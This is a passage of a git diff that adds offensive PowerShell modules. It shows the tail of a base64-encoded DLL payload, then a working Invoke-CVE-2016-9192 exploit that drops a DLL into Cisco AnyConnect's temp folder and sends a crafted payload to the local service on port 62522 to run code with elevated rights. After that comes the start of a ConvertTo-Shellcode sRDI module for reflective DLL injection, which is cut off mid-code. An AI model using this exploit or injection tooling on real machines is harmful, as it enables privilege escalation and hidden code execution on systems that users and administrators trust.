AAwAudGV4dAAAAFAKAAABAAAAAwEAAAAAAAAAAAAAAAAAAAAAAAAuZGF0YQAAAAQAAAACAAAAAwEAAAAAAAAAAAAAAAAAAAAAAAAuYnNzAAAAAEgAAAAFAAAAAwEAAAAAAAAAAAAAAAAAAAAAAAAuaWRhdGEkMhQAAAAHAAAAAwEUAAAAAwAAAAAAAAAAAAAAAAAuaWRhdGEkNGwAAAAHAAAAAwAuaWRhdGEkNdQAAAAHAAAAAwAuZmlsZQAAAG4BAAD+/wAAZwFmYWtlAAAAAAAAAAAAAAAAAAAudGV4dAAAAFAKAAABAAAAAwEAAAAAAAAAAAAAAAAAAAAAAAAuZGF0YQAAAAQAAAACAAAAAwEAAAAAAAAAAAAAAAAAAAAAAAAuYnNzAAAAAEgAAAAFAAAAAwEAAAAAAAAAAAAAAAAAAAAAAAAuaWRhdGEkNKAAAAAHAAAAAwEEAAAAAAAAAAAAAAAAAAAAAAAuaWRhdGEkNQgBAAAHAAAAAwEEAAAAAAAAAAAAAAAAAAAAAAAuaWRhdGEkN9gCAAAHAAAAAwELAAAAAAAAAAAAAAAAAAAAAAAudGV4dAAAAFAKAAABAAAAAwAuZGF0YQAAAAQAAAACAAAAAwAuYnNzAAAAAEgAAAAFAAAAAwAuaWRhdGEkN3gCAAAHAAAAAwAuaWRhdGEkNbQAAAAHAAAAAwAuaWRhdGEkNEwAAAAHAAAAAwAuaWRhdGEkNlwBAAAHAAAAAwAudGV4dAAAAFgKAAABAAAAAwAuZGF0YQAAAAQAAAACAAAAAwAuYnNzAAAAAEgAAAAFAAAAAwAuaWRhdGEkN3wCAAAHAAAAAwAuaWRhdGEkNbgAAAAHAAAAAwAuaWRhdGEkNFAAAAAHAAAAAwAuaWRhdGEkNnABAAAHAAAAAwAudGV4dAAAAGAKAAABAAAAAwAuZGF0YQAAAAQAAAACAAAAAwAuYnNzAAAAAEgAAAAFAAAAAwAuaWRhdGEkN2gCAAAHAAAAAwAuaWRhdGEkNaQAAAAHAAAAAwAuaWRhdGEkNDwAAAAHAAAAAwAuaWRhdGEkNgwBAAAHAAAAAwAudGV4dAAAAGgKAAABAAAAAwAuZGF0YQAAAAQAAAACAAAAAwAuYnNzAAAAAEgAAAAFAAAAAwAuaWRhdGEkN5ACAAAHAAAAAwAuaWRhdGEkNcwAAAAHAAAAAwAuaWRhdGEkNGQAAAAHAAAAAwAuaWRhdGEkNtYBAAAHAAAAAwAudGV4dAAAAHAKAAABAAAAAwAuZGF0YQAAAAQAAAACAAAAAwAuYnNzAAAAAEgAAAAFAAAAAwAuaWRhdGEkN4wCAAAHAAAAAwAuaWRhdGEkNcgAAAAHAAAAAwAuaWRhdGEkNGAAAAAHAAAAAwAuaWRhdGEkNsQBAAAHAAAAAwAudGV4dAAAAHgKAAABAAAAAwAuZGF0YQAAAAQAAAACAAAAAwAuYnNzAAAAAEgAAAAFAAAAAwAuaWRhdGEkN3ACAAAHAAAAAwAuaWRhdGEkNawAAAAHAAAAAwAuaWRhdGEkNEQAAAAHAAAAAwAuaWRhdGEkNjQBAAAHAAAAAwAudGV4dAAAAIAKAAABAAAAAwAuZGF0YQAAAAQAAAACAAAAAwAuYnNzAAAAAEgAAAAFAAAAAwAuaWRhdGEkN4gCAAAHAAAAAwAuaWRhdGEkNcQAAAAHAAAAAwAuaWRhdGEkNFwAAAAHAAAAAwAuaWRhdGEkNrYBAAAHAAAAAwAudGV4dAAAAIgKAAABAAAAAwAuZGF0YQAAAAQAAAACAAAAAwAuYnNzAAAAAEgAAAAFAAAAAwAuaWRhdGEkN3QCAAAHAAAAAwAuaWRhdGEkNbAAAAAHAAAAAwAuaWRhdGEkNEgAAAAHAAAAAwAuaWRhdGEkNkwBAAAHAAAAAwAudGV4dAAAAJAKAAABAAAAAwAuZGF0YQAAAAQAAAACAAAAAwAuYnNzAAAAAEgAAAAFAAAAAwAuaWRhdGEkN4QCAAAHAAAAAwAuaWRhdGEkNcAAAAAHAAAAAwAuaWRhdGEkNFgAAAAHAAAAAwAuaWRhdGEkNp4BAAAHAAAAAwAudGV4dAAAAJgKAAABAAAAAwAuZGF0YQAAAAQAAAACAAAAAwAuYnNzAAAAAEgAAAAFAAAAAwAuaWRhdGEkN2wCAAAHAAAAAwAuaWRhdGEkNagAAAAHAAAAAwAuaWRhdGEkNEAAAAAHAAAAAwAuaWRhdGEkNhwBAAAHAAAAAwAudGV4dAAAAKAKAAABAAAAAwAuZGF0YQAAAAQAAAACAAAAAwAuYnNzAAAAAEgAAAAFAAAAAwAuaWRhdGEkN4ACAAAHAAAAAwAuaWRhdGEkNbwAAAAHAAAAAwAuaWRhdGEkNFQAAAAHAAA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AAgAAAAAANQkAAAwAAAAFAAAAAgAAAAAATQkAAIAKAAABACAAAgAAAAAAXAkAAKgAAAAHAAAAAgAAAAAAewkAAJAKAAABACAAAgAAAAAAkwkAAGQBAAADAAAAAgAAAAAAtQkAAJQCAAAHAAAAAgAAAAAAywkAAGQAAAADAAAAAgAAAAAA5AkAAAQAAAAJAAAAAgAAAAAA7wkAABAAAAAIAAAAAgAAAAAA/wkAADAKAAABACAAAgAAAAAACQoAAKwAAAAHAAAAAgAAAAAAJwoAAPgAAAAHAAAAAgA1CgAALmVoX2ZyYW1lAC5kZWJ1Z19hcmFuZ2VzAC5kZWJ1Z19pbmZvAC5kZWJ1Z19hYmJyZXYALmRlYnVnX2xpbmUAX19fZGxsX2V4aXQAX2ZpcnN0X2F0ZXhpdABfbmV4dF9hdGV4aXQAX0RsbE1haW5DUlRTdGFydHVwQDEyAC5laF9mcmFtZQBfX19KQ1JfTElTVF9fAF9fX2djY19yZWdpc3Rlcl9mcmFtZQBfX19nY2NfZGVyZWdpc3Rlcl9mcmFtZQAucmRhdGEkenp6AF9fWjZUaHJlYWRQdkA0AF9EbGxNYWluQDEyAF9fX2R5bl90bHNfZHRvckAxMgBfX19keW5fdGxzX2luaXRAMTIAX19fdGxyZWdkdG9yAF9fX3JlcG9ydF9lcnJvcgBfX193cml0ZV9tZW1vcnkucGFydC4wAF9fcGVpMzg2X3J1bnRpbWVfcmVsb2NhdG9yAF93YXNfaW5pdC4zMTA0OABfX19kb19nbG9iYWxfZHRvcnMAX19fZG9fZ2xvYmFsX2N0b3JzAF9pbml0aWFsaXplZABfX19taW5nd3Rocl9ydW5fa2V5X2R0b3JzLnBhcnQuMABfX19taW5nd3Rocl9jcwBfa2V5X2R0b3JfbGlzdABfX19fdzY0X21pbmd3dGhyX2FkZF9rZXlfZHRvcgBfX19taW5nd3Rocl9jc19pbml0AF9fX193NjRfbWluZ3d0aHJfcmVtb3ZlX2tleV9kdG9yAF9fX21pbmd3X1RMU2NhbGxiYWNrAHBzZXVkby1yZWxvYy1saXN0LmMALmRlYnVnX2luZm8ALmRlYnVnX2FiYnJldgAuZGVidWdfYXJhbmdlcwAuZGVidWdfbGluZQBfX19KQ1JfRU5EX18AX3JlZ2lzdGVyX2ZyYW1lX2N0b3IALnRleHQuc3RhcnR1cAAuY3RvcnMuNjU1MzUAX1ZpcnR1YWxQcm90ZWN0QDE2AF9fX1JVTlRJTUVfUFNFVURPX1JFTE9DX0xJU1RfXwBfX2RhdGFfc3RhcnRfXwBfX19EVE9SX0xJU1RfXwBfX2ltcF9fVmlydHVhbFByb3RlY3RAMTYALndlYWsuX19Kdl9SZWdpc3RlckNsYXNzZXMuX19fZ2NjX3JlZ2lzdGVyX2ZyYW1lAF9faW1wX19HZXRMYXN0RXJyb3JAMABfX2ltcF9fVmlydHVhbFF1ZXJ5QDEyAF9fX3Rsc19zdGFydF9fAF9faW1wX19UbHNHZXRWYWx1ZUA0AF9fbGlibXN2Y3J0X2FfaW5hbWUAX19pbXBfX0luaXRpYWxpemVDcml0aWNhbFNlY3Rpb25ANABfRGVsZXRlQ3JpdGljYWxTZWN0aW9uQDQAX19ydF9wc3JlbG9jc19zdGFydABfX2ltcF9fYWJvcnQAX19kbGxfY2hhcmFjdGVyaXN0aWNzX18AX19zaXplX29mX3N0YWNrX2NvbW1pdF9fAF9fc2l6ZV9vZl9zdGFja19yZXNlcnZlX18AX19tYWpvcl9zdWJzeXN0ZW1fdmVyc2lvbl9fAF9fX2NydF94bF9zdGFydF9fAF9fX2NydF94aV9zdGFydF9fAF9fX2NydF94aV9lbmRfXwBfR2V0TGFzdEVycm9yQDAAX1ZpcnR1YWxRdWVyeUAxMgBfbWluZ3dfaW5pdGx0c2Ryb3RfZm9yY2UAX19pbXBfX19pb2IAX0dldE1vZHVsZUhhbmRsZUFANABfX2Jzc19zdGFydF9fAF9fX1JVTlRJTUVfUFNFVURPX1JFTE9DX0xJU1RfRU5EX18AX0NyZWF0ZVRocmVhZEAyNABfX3NpemVfb2ZfaGVhcF9jb21taXRfXwBfX2ltcF9fX2Vycm5vAF9faW1wX19HZXRQcm9jQWRkcmVzc0A4AF9HZXRQcm9jQWRkcmVzc0A4AF9fX2NydF94cF9zdGFydF9fAF9fX2NydF94cF9lbmRfXwBfX21pbm9yX29zX3ZlcnNpb25fXwBfX2hlYWRfbGlibXN2Y3J0X2EAX19pbWFnZV9iYXNlX18AX19zZWN0aW9uX2FsaWdubWVudF9fAF9faW1wX19DcmVhdGVUaHJlYWRAMjQAX19JQVRfZW5kX18AX19SVU5USU1FX1BTRVVET19SRUxPQ19MSVNUX18AX190bHNfc3RhcnQAX19kYXRhX2VuZF9fAF9fQ1RPUl9MSVNUX18AX19ic3NfZW5kX18AX19fY3J0X3hjX2VuZF9fAF9fdGxzX2luZGV4AF9fX2NydF94Y19zdGFydF9fAF9fX0NUT1JfTElTVF9fAF9fcnRfcHNyZWxvY3Nfc2l6ZQBfX2ltcF9fX19kbGxvbmV4aXQAX19pbXBfX21lbWNweQBfX2ZpbGVfYWxpZ25tZW50X18AX19pbXBfX0xlYXZlQ3JpdGljYWxTZWN0aW9uQDQAX19pbXBfX21hbGxvYwBfX21ham9yX29zX3ZlcnNpb25fXwBfX0lBVF9zdGFydF9fAF9fdGxzX2VuZABfX2ltcF9fR2V0TW9kdWxlSGFuZGxlQUA0AF9fX2RsbG9uZXhpdABfX0RUT1JfTElTVF9fAF9FbnRlckNyaXRpY2FsU2VjdGlvbkA0AF9faW1wX19mY2xvc2UAX19zaXplX29mX2hlYXBfcmVzZXJ2ZV9fAF9fX2NydF94dF9zdGFydF9fAF9fX0ltYWdlQmFzZQBfX3N1YnN5c3RlbV9fAF9faW1wX19mZmx1c2gAX19pbXBfX2NhbGxvYwBfX0p2X1JlZ2lzdGVyQ2xhc3NlcwBfX2ltcF9fZm9wZW4AX19fdGxzX2VuZF9fAF9taW5nd19pbml0bHRzc3VvX2ZvcmNlAF9Jbml0aWFsaXplQ3JpdGljYWxTZWN0aW9uQDQAX19pbXBfX2ZyZWUAX19tYWpvcl9pbWFnZV92ZXJzaW9uX18AX19sb2FkZXJfZmxhZ3NfXwBfX2hlYWRfbGlia2VybmVsMzJfYQBfX3J0X3BzcmVsb2NzX2VuZABfX21pbm9yX3N1YnN5c3RlbV92ZXJzaW9uX18AX19taW5vcl9pbWFnZV92ZXJzaW9uX18AX19pbXBfX3ZmcHJpbnRmAF9taW5nd19pbml0bHRzZHluX2ZvcmNlAF9UbHNHZXRWYWx1ZUA0AF9faW1wX19EZWxldGVDcml0aWNhbFNlY3Rpb25ANABfTGVhdmVDcml0aWNhbFNlY3Rpb25ANABfX1JVTlRJTUVfUFNFVURPX1JFTE9DX0xJU1RfRU5EX18AX19saWJrZXJuZWwzMl9hX2luYW1lAF9fX2R5bl90bHNfaW5pdF9jYWxsYmFjawBfX3Rsc191c2VkAF9fX2NydF94dF9lbmRfXwBfdmZwcmludGYAX19pbXBfX0VudGVyQ3JpdGljYWxTZWN0aW9uQDQAX19pbXBfX2Z3cml0ZQA=" + $Exploited = "C:\CVE-2016-9192.txt" + $TempFolder = "C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Temp" + $TempPath = "C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Downloader" + $DLLLocation = "C:\ProgramData\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Downloader\dbghelp.dll" + + if ($CustomDLL) { + Write-Output "[.] Using custom DLL: $CustomDLL" + $Base64Dll = ConvertTo-Base64 $CustomDLL + } + + $PathExists = Test-Path $TempPath + if (!$PathExists) { + New-Item $TempPath -ItemType Directory | Out-Null + } + + $PathExists = Test-Path $DLLLocation + if (!$PathExists) { + Write-Output "[.] Dropping DLL to disk: $DLLLocation" + $fileBytes = [Convert]::FromBase64String($Base64Dll) + [io.file]::WriteAllBytes($DLLLocation, $fileBytes) + } else { + Write-Output "[.] Using DLL already in the following location: $DLLLocation" + } + + Write-Output "[.] Connecting to localhost on port 62522" + try + { + $socket = New-Object System.Net.Sockets.TcpClient( "127.0.0.1", "62522" ) + Write-Output "[.] Sucessfully connected to localhost on port 62522" + } + catch + { + Write-Output "`n[-] Connection failed, is Cisco Anyconnect running" + exit -1 + } + + $stream = $socket.GetStream(); + $stream.Write($payload,0,$payload.Length); + $stream.Flush(); + $stream.Close(); + + Start-Sleep 2 + + if ($CustomDLL) { + Write-Output "`n[+] Exploitted, custom DLL should have been executed!" + } else { + $PathExists = Test-Path $Exploited + if (!$PathExists) { + Write-Output "`n[-] Exploit failed!" + } else { + Write-Output "`n[+] Exploit successful! Target is vulnerable to CVE-2016-9192" + Write-Output "[+] To add a custom DLL use the following command: Invoke-CVE-2016-9192 -CustomDLL " + } + } + + Write-Output "[+] Manual removal of $TempFolder required" +} +function ConvertTo-Base64 +{ + param + ( + [string] $Source + ) + $bufferSize = 90000 + $buffer = New-Object byte[] $bufferSize + + $reader = [System.IO.File]::OpenRead($Source) + $base64 = $null + $bytesRead = 0 + + do + { + $bytesRead = $reader.Read($buffer, 0, $bufferSize); + $base64 += ([Convert]::ToBase64String($buffer, 0, $bytesRead)); + } while ($bytesRead -eq $bufferSize); + + $reader.Dispose() + $base64 +} \ No newline at end of file diff --git a/Modules/ConvertTo-Shellcode.ps1 b/Modules/ConvertTo-Shellcode.ps1 new file mode 100644 index 0000000..5154700 --- /dev/null +++ b/Modules/ConvertTo-Shellcode.ps1 @@ -0,0 +1,603 @@ +$Source = @" +using System; +using System.Collections.Generic; +using System.Runtime.InteropServices; +using System.Reflection; + +public class sRDI +{ + [StructLayout(LayoutKind.Sequential, Pack = 1)] + struct IMAGE_DATA_DIRECTORY + { + public uint VirtualAddress; + public uint Size; + } + + //[StructLayout(LayoutKind.Sequential, Pack = 1)] + [StructLayout(LayoutKind.Explicit)] + unsafe struct IMAGE_SECTION_HEADER + { + [FieldOffset(0)] + public fixed byte Name[8]; + [FieldOffset(8)] + public uint PhysicalAddress; + [FieldOffset(8)] + public uint VirtualSize; + [FieldOffset(12)] + public uint VirtualAddress; + [FieldOffset(16)] + public uint SizeOfRawData; + [FieldOffset(20)] + public uint PointerToRawData; + [FieldOffset(24)] + public uint PointerToRelocations; + [FieldOffset(28)] + public uint PointerToLinenumbers; + [FieldOffset(32)] + public ushort NumberOfRelocations; + [FieldOffset(34)] + public ushort NumberOfLinenumbers; + [FieldOffset(36)] + public uint Characteristics; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + struct IMAGE_FILE_HEADER + { + public ushort Machine; + public ushort NumberOfSections; + public uint TimeDateStamp; + public uint PointerToSymbolTable; + public uint NumberOfSymbols; + public ushort SizeOfOptionalHeader; + public ushort Characteristics; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + struct IMAGE_EXPORT_DIRECTORY + { + public uint Characteristics; + public uint TimeDateStamp; + public ushort MajorVersion; + public ushort MinorVersion; + public uint Name; + public uint Base; + public uint NumberOfFunctions; + public uint NumberOfNames; + public uint AddressOfFunctions; // RVA from base of image + public uint AddressOfNames; // RVA from base of image + public uint AddressOfNameOrdinals; // RVA from base of image + } + + enum IMAGE_DOS_SIGNATURE : ushort + { + DOS_SIGNATURE = 0x5A4D, // MZ + OS2_SIGNATURE = 0x454E, // NE + OS2_SIGNATURE_LE = 0x454C, // LE + } + + enum MagicType : ushort + { + IMAGE_NT_OPTIONAL_HDR32_MAGIC = 0x10b, + IMAGE_NT_OPTIONAL_HDR64_MAGIC = 0x20b, + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + struct IMAGE_DOS_HEADER + { + public IMAGE_DOS_SIGNATURE e_magic; // Magic number + public ushort e_cblp; // public bytes on last page of file + public ushort e_cp; // Pages in file + public ushort e_crlc; // Relocations + public ushort e_cparhdr; // Size of header in paragraphs + public ushort e_minalloc; // Minimum extra paragraphs needed + public ushort e_maxalloc; // Maximum extra paragraphs needed + public ushort e_ss; // Initial (relative) SS value + public ushort e_sp; // Initial SP value + public ushort e_csum; // Checksum + public ushort e_ip; // Initial IP value + public ushort e_cs; // Initial (relative) CS value + public ushort e_lfarlc; // File address of relocation table + public ushort e_ovno; // Overlay number + [MarshalAs(UnmanagedType.ByValTStr, SizeConst = 8)] + public string e_res; // May contain 'Detours!' + public ushort e_oemid; // OEM identifier (for e_oeminfo) + public ushort e_oeminfo; // OEM information; e_oemid specific + [MarshalAsAttribute(UnmanagedType.ByValArray, SizeConst = 10)] + public ushort[] e_res2; // Reserved public ushorts + public Int32 e_lfanew; // File address of new exe header + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + struct IMAGE_OPTIONAL_HEADER + { + // + // Standard fields. + // + + public MagicType Magic; + public byte MajorLinkerVersion; + public byte MinorLinkerVersion; + public uint SizeOfCode; + public uint SizeOfInitializedData; + public uint SizeOfUninitializedData; + public uint AddressOfEntryPoint; + public uint BaseOfCode; + public uint BaseOfData; + public uint ImageBase; + public uint SectionAlignment; + public uint FileAlignment; + public ushort MajorOperatingSystemVersion; + public ushort MinorOperatingSystemVersion; + public ushort MajorImageVersion; + public ushort MinorImageVersion; + public ushort MajorSubsystemVersion; + public ushort MinorSubsystemVersion; + public uint Win32VersionValue; + public uint SizeOfImage; + public uint SizeOfHeaders; + public uint CheckSum; + public ushort Subsystem; + public ushort DllCharacteristics; + public uint SizeOfStackReserve; + public uint SizeOfStackCommit; + public uint SizeOfHeapReserve; + public uint SizeOfHeapCommit; + public uint LoaderFlags; + public uint NumberOfRvaAndSizes; + public IMAGE_DATA_DIRECTORY ExportTable; + public IMAGE_DATA_DIRECTORY ImportTable; + public IMAGE_DATA_DIRECTORY ResourceTable; + public IMAGE_DATA_DIRECTORY ExceptionTable; + public IMAGE_DATA_DIRECTORY CertificateTable; + public IMAGE_DATA_DIRECTORY BaseRelocationTable; + public IMAGE_DATA_DIRECTORY Debug; + public IMAGE_DATA_DIRECTORY Architecture; + public IMAGE_DATA_DIRECTORY GlobalPtr; + public IMAGE_DATA_DIRECTORY TLSTable; + public IMAGE_DATA_DIRECTORY LoadConfigTable; + public IMAGE_DATA_DIRECTORY BoundImport; + public IMAGE_DATA_DIRECTORY IAT; + public IMAGE_DATA_DIRECTORY DelayImportDescriptor; + public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; + public IMAGE_DATA_DIRECTORY Public; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + struct IMAGE_OPTIONAL_HEADER64 + { + public MagicType Magic; + public byte MajorLinkerVersion; + public byte MinorLinkerVersion; + public uint SizeOfCode; + public uint SizeOfInitializedData; + public uint SizeOfUninitializedData; + public uint AddressOfEntryPoint; + public uint BaseOfCode; + public ulong ImageBase; + public uint SectionAlignment; + public uint FileAlignment; + public ushort MajorOperatingSystemVersion; + public ushort MinorOperatingSystemVersion; + public ushort MajorImageVersion; + public ushort MinorImageVersion; + public ushort MajorSubsystemVersion; + public ushort MinorSubsystemVersion; + public uint Win32VersionValue; + public uint SizeOfImage; + public uint SizeOfHeaders; + public uint CheckSum; + public ushort Subsystem; + public ushort DllCharacteristics; + public ulong SizeOfStackReserve; + public ulong SizeOfStackCommit; + public ulong SizeOfHeapReserve; + public ulong SizeOfHeapCommit; + public uint LoaderFlags; + public uint NumberOfRvaAndSizes; + public IMAGE_DATA_DIRECTORY ExportTable; + public IMAGE_DATA_DIRECTORY ImportTable; + public IMAGE_DATA_DIRECTORY ResourceTable; + public IMAGE_DATA_DIRECTORY ExceptionTable; + public IMAGE_DATA_DIRECTORY CertificateTable; + public IMAGE_DATA_DIRECTORY BaseRelocationTable; + public IMAGE_DATA_DIRECTORY Debug; + public IMAGE_DATA_DIRECTORY Architecture; + public IMAGE_DATA_DIRECTORY GlobalPtr; + public IMAGE_DATA_DIRECTORY TLSTable; + public IMAGE_DATA_DIRECTORY LoadConfigTable; + public IMAGE_DATA_DIRECTORY BoundImport; + public IMAGE_DATA_DIRECTORY IAT; + public IMAGE_DATA_DIRECTORY DelayImportDescriptor; + public IMAGE_DATA_DIRECTORY CLRRuntimeHeader; + public IMAGE_DATA_DIRECTORY Public; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + struct IMAGE_NT_HEADERS64 + { + public uint Signature; + public IMAGE_FILE_HEADER FileHeader; + public IMAGE_OPTIONAL_HEADER64 OptionalHeader; + } + + [StructLayout(LayoutKind.Sequential, Pack = 1)] + struct IMAGE_NT_HEADERS + { + public uint Signature; + public IMAGE_FILE_HEADER FileHeader; + public IMAGE_OPTIONAL_HEADER OptionalHeader; + } + public delegate int SIZEOFHELPER(Type type, bool throwIfNotMarshalable); + + public static unsafe class InteropTools + { + //static ctor + static InteropTools() + { + BindingFlags flags = BindingFlags.NonPublic | BindingFlags.Static; + MethodInfo tmi = typeof(System.Runtime.InteropServices.Marshal).GetMethod("SizeOfHelper", flags); + if (null != tmi) + SizeOfHelper_f = (SIZEOFHELPER)Delegate.CreateDelegate(typeof(SIZEOFHELPER), tmi); + + Type SafeBufferType = Type.GetType("System.Runtime.InteropServices.SafeBuffer"); + if (null == SafeBufferType) + //.Net 2.0 SafePointer has the members instead of SafeBuffer + SafeBufferType = Type.GetType("System.Runtime.InteropServices.SafePointer"); + + MethodInfo PtrToStructureNativeMethod = SafeBufferType.GetMethod("PtrToStructureNative", flags); + MethodInfo StructureToPtrNativeMethod = SafeBufferType.GetMethod("StructureToPtrNative", flags); + + PtrToStructureNative = (PtrToStructureNativeDelegate)Delegate.CreateDelegate(typeof(PtrToStructureNativeDelegate), PtrToStructureNativeMethod); + StructureToPtrNative = (StructureToPtrNativeDelegate)Delegate.CreateDelegate(typeof(StructureToPtrNativeDelegate), StructureToPtrNativeMethod); + } + public delegate void PtrToStructureNativeDelegate(byte* ptr, TypedReference structure, uint sizeofT); + public delegate void StructureToPtrNativeDelegate(TypedReference structure, byte* ptr, uint sizeofT); + + public static readonly PtrToStructureNativeDelegate PtrToStructureNative; + public static readonly StructureToPtrNativeDelegate StructureToPtrNative; + + private static readonly SIZEOFHELPER SizeOfHelper_f = null; + + public static void StructureToPtrDirect(TypedReference structure, IntPtr ptr, int size) + { + StructureToPtrNative(structure, (byte*)ptr, unchecked((uint)size)); + 